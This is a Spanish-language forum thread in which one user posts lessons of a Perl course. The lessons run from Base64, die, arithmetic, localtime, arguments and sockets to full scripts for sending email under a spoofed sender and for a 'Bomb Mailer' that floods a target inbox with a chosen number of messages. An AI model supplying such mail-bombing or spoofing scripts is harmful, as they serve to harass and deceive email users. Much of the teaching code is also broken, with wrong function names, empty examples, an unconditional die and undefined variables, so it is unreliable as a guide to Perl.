Autor
|
Tema: Curso de programación en Perl (Leído 17,252 veces)
|
Erik#
Desconectado
Mensajes: 1.138
Gundam
|
20.Encriptaci?n en B64Primero de todo, tenemos que activar el modulo MIME::Base64: #!/usr/bin/perl use MIME::Base64;
Una vez activado este modulo, podemos ver 2 opciones diferentes, codificar, descodificar. Vamos con la codifiaci?n: Activamos el modulo B64. #!/usr/bin/perl use MIME::Base64; $encoded = encoded_base64('El texto');
Ya hemos cifrado la primera b64, ahora veremos como descodificar: #!/usr/bin/perl use MIME::Base64; $decoded = decoded_base64('El texto');
Ya esta, recibimos el resultado, ahora, vamos a ver un ejemplo de un sistema que codifique y descodifique, aqui lo vemos: #!/usr/bin/perl use MIME::Base64; print "Que texto desea codificar?:"; $cod = <STDIN>; print "Que texto desea descodificar?:"; $descod = <STDIN>; $encoded = encode_base64($cod); $decoded = decode_base64($descod);
Fin de la lecci?n del modulo B64.
|
|
|
En línea
|
|
|
|
Erik#
Desconectado
Mensajes: 1.138
Gundam
|
21.DieSe que una lecci?n para una sola funci?n es poco, pero ami esta funci?n me parece muy interesante por el solo hecho de avisarte formalmente de un error. Cuando una subrutina o una configuraci?n de modulos, conexi?n etc... no te sale bien, usamos la funci?n die. Die lo que hace es que si la conexi?n no salio bien, salta un mensaje y se acaba el programa. Aqui un ejemplo de die en nuestro programa el mail bomber: #!/usr/bin/perl use Net::SMTP; $smtp = Net::SMTP->new('error', Hello => 'error', Timeout =>25, Debug =>1, ); die "No se ha podido conectar al servidor";
Como veis, die declara que no se efectuo la conexion y se acaba el programa.
|
|
|
En línea
|
|
|
|
Erik#
Desconectado
Mensajes: 1.138
Gundam
|
22.Conversiones de bases numericasDe hexadecimal a decimal: #!/usr/bin/perl
De octal a decimal: #!/usr/bin/perl
De decimal a ASCII: #!/usr/bin/perl
Y como pusimos en una lección anterior de hexadecimal a binario: #!/usr/bin/perl print "join('', unpack('B*', "\x191"));
EDIT: Ahora me acorde de otra funcion de conversión era ord, para pasar de ASCII a octal y otros... #!/usr/bin/perl
Proxima lección, funciones numericas como RAND, restas, multiplicaciones...
|
|
|
En línea
|
|
|
|
Erik#
Desconectado
Mensajes: 1.138
Gundam
|
22.Funciones numericasComo veis en el titulo, vamos a hablar de este tipo de funciones numericas: - Rand - Rand transformado - Sumas - Restas - Divisiones - Multiplicaciones - Potencias - Raices cuadradas - Valores absolutos - Restos 1.Rand: Lo que la funci?n numerica rand hace es elegir un numero flotante del 0 al numero que quieras. #!/usr/bin/perl
2.Rand transformado: Es lo mismo que antes solo que puedes elegir numeros octales, caracteres ASCII, colocando su referente delante de todo: #!/usr/bin/perl
3.Sumas: Las sumas se efectuan usando el caracter +: #!/usr/bin/perl $suma = 9+9;
4.Restas: Las restas se efectuan usando el caracter -: #!/usr/bin/perl $resta = 9-9;
5.Divisiones: Las divisiones se efectuan usando el caracter /: #!/usr/bin/perl $division = 81/9;
6.Multiplicaciones: Las multiplicaciones se efectuan usando el caracter *: #!/usr/bin/perl $multi = 9*9; $multi;
7.Potencias: Hay dos tipos de efectuar potencias, usando el sistema exp para conseguir la potencia a cualquier numero: #!/usr/bin/perl
Y luego, elevar un numero a una potencia, aqui vemos como se hace: #!/usr/bin/perl $pot = 5 ** 2;
Esto se llamaria 5 a la 2 o 5 al cuadrado. 8.Raices cuadradas: La raiz cuadrada al igual que C se utiliza sqrt, pero en perl no necesitamos la libreria math.h: #!/usr/bin/perl
9.Valor absoluto: El valor absoluto se obtiene usando la funcion abs por ejemplo: #!/usr/bin/perl
10.Como sacar el resto: El resto se obtiene usando el caracter %: #!/usr/bin/perl $resto = 14 % 51;
|
|
|
En línea
|
|
|
|
Erik#
Desconectado
Mensajes: 1.138
Gundam
|
23.LocaltimeAl principio del curso vimos que usabamos la funcion localtime, actualmente, vamos a ense?aros a representarla con las definiciones que querrais, la sintaxis seria algo as?: #!/usr/bin/perl ($sec,$min,$hor,$day,$mon,$year,$wday,$yday,$isdst)=localtime(time);
Como veis, ya indica cada cosa que es, imaginaos que ahora queremos hacer una aplicacion que muestro, hora:minuto:segundo. #!/usr/bin/perl print "$hor: $min: $sec";
?t voila!
|
|
|
En línea
|
|
|
|
Erik#
Desconectado
Mensajes: 1.138
Gundam
|
24.Variables argumentativaLas variables argumentativasson las que se consiguen escribiendo como si fuera un metodo get, por ejemplo: #!/usr/bin/perl print "Te llamas $ARGV[0]";
Pero claro, para conseguir el resultado de esa variable argumentativa, necesitamos escribir al ejecutar el archivo.pl esto: nombre.pl ErikEn este caso seria eso. Pueden a?adirles tantas argumentativas como quieran. Si no ha quedado claro, crean un nuevo tema y preguntais all
|
|
|
En línea
|
|
|
|
Erik#
Desconectado
Mensajes: 1.138
Gundam
|
25.Conexi?n a SocketsA petici?n de rockox, pondre como hacer una conexi?n a sockets y una conexion a una ip, puerto y tcp remoto. Primero, usaremos el modulo Socket. Lo declaramos as?: use IO::Socket;
Y luego, para acceder la conexi?n tenemos que introducir los datos, primero lo haremos por variables argumentativas como vemos en la lecci?n 24 y luego por variables simples usando <STDIN>. #!/usr/bin/perl use IO::Socket; $conexion= IO::Socket::INET->new(PeerAddr, $ARGV[0], PeerPort, $ARGV[1], Proto, 'tcp');
Aqui, hariamos algo as?, por ejemplo le llaremos conexion.pl, escribiriamos esto en el cmd: conexion.pl "ip" "puerto" (sin comillas) Y se conectaria a esa ip y puerto. Luego por variables simples: #!/usr/bin/perl use IO::Socket; print "Introduce la ip:"; $ip = <STDIN>; print "\nIntroduce el puerto:"; $puerto = <STDIN>; $conexion= IO::Socket::INET->new(PeerAddr, $ip, PeerPort, $puerto, Proto, 'tcp');
Y listo. En la lecci?n 26, veremos complementaciones a los sockets (scanner de puertos, mail bomber...)
|
|
|
En línea
|
|
|
|
Erik#
Desconectado
Mensajes: 1.138
Gundam
|
26.Enviar mensajes a una direcci?n [CHAT]Bueno, aqui os pondre como poder enviar mensajes a una direcci?n ip para poder contactarte con el, primero yo lo hare local, as?, podremos ver mejor y probarlo y m?s adelante lo haremos remoto. Empezamos con el que envia mensajes: #!/usr/bin/perl use IO::Socket; $sock = new IO::Socket::INET (LocalHost => 'localhost', LocalPort => 1100, Proto => 'tcp', Listen => 6, Reuse => 1 ); die "No se ha podido crear el socket: $!\n" unless $sock; $conexion->send($ARGV[0]);
Esto lo que hace es mandar un mensaje a la direccion 127.0.0.1 al puerto 1100 con el protocolo tcp, veremos que hemos usado una variable argumentativa, en la leccion 24 y 25 vemos algun ejemplo, emplearlo . Y podremos ver desde un programa como telnet los mensajes que se reciben .
|
|
|
En línea
|
|
|
|
Erik#
Desconectado
Mensajes: 1.138
Gundam
|
27.Anonymous mail#!/usr/bin/perl use Net::SMTP; print "Introduzca el mailhost al que desea solicitar la conexion:"; $mailhost = <STDIN>; print "Introduzca el email que desea utilizar:"; $emailfrom = <STDIN>; print "Introduzca el email que desea bombear:"; $emailto = <STDIN>; print "Introduzca el asunto del correo:"; $asunto = <STDIN>; print "Introduzca el mensaje que desea enviar (Puede usar secuencias de escape (\\n, \\a...)):"; $sms = <STDIN>; $smtp = Net::SMTP->new("$mailhost", Hello => "$mailhost", Timeout =>25, Debug =>1, ); die "No se ha podido conectar al servidor"; print $smtp->domain,"\n"; $smtp->mail("$emailfrom"); $smtp->to("$emailto"); $smtp->data(); $smtp->datasend("To: $emailto"); $smtp->datasend("From: $emailfrom"); $smtp->datasend("Subject:$asunto\n"); $smtp->datasend("$sms"); $smtp->dataend(); $smtp->quit();
Tiene el mismo c?digo que el mail bomber, pero lo quitamos el bucle for .
|
|
|
En línea
|
|
|
|
Erik#
Desconectado
Mensajes: 1.138
Gundam
|
28.Bomb Mailer#!/usr/bin/perl use Net::SMTP; print "Buenas, cuantos mails bombs deseas hacer:"; $n = <STDIN>; print "Introduzca el mailhost al que desea solicitar la conexion:"; $mailhost = <STDIN>; print "Introduzca el email que desea utilizar:"; $emailfrom = <STDIN>; print "Introduzca el email que desea bombear:"; $emailto = <STDIN>; print "Introduzca el asunto del correo:"; $asunto = <STDIN>; print "Introduzca el mensaje que desea enviar (Puede usar secuencias de escape (\\n, \\r...)):"; $sms = <STDIN>; for ($a=1;$a<=$n;$a++) { $smtp = Net::SMTP->new("$mailhost", Hello => "$mailhost", Timeout =>25, Debug =>1, ); die "No se ha podido conectar al servidor"; print $smtp->domain,"\n"; $smtp->mail("$emailfrom"); $smtp->to("$emailto"); $smtp->data(); $smtp->datasend("To: $emailto"); $smtp->datasend("From: $emailfrom"); $smtp->datasend("Subject:$asunto\n"); $smtp->datasend("$sms"); $smtp->dataend(); $smtp->quit(); }
|
|
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
C/c++ curso de programacion (2ª edic)(+ CD-rom), falta CD
Programación C/C++
|
modo_senin
|
3
|
4,918
|
30 Diciembre 2011, 16:50 pm
por 3mp3z@ndo
|
|
|
Curso de Programación de aplicaciones en Android
Android
|
free-articles
|
1
|
3,393
|
9 Mayo 2013, 00:23 am
por CodeSource
|
|
|
[Duda] ¿Algún curso/manual de Perl?
Scripting
|
DeMoNcRaZy
|
5
|
3,107
|
27 Junio 2015, 23:21 pm
por explorer
|
|
|
Curso de Programación Java con Grails
Java
|
usernovato
|
1
|
2,567
|
27 Octubre 2015, 00:09 am
por jsuperh
|
|
|
[CURSO] Programación en Java
« 1 2 »
Java
|
3n31ch
|
10
|
19,781
|
28 Junio 2017, 08:36 am
por 3n31ch
|
|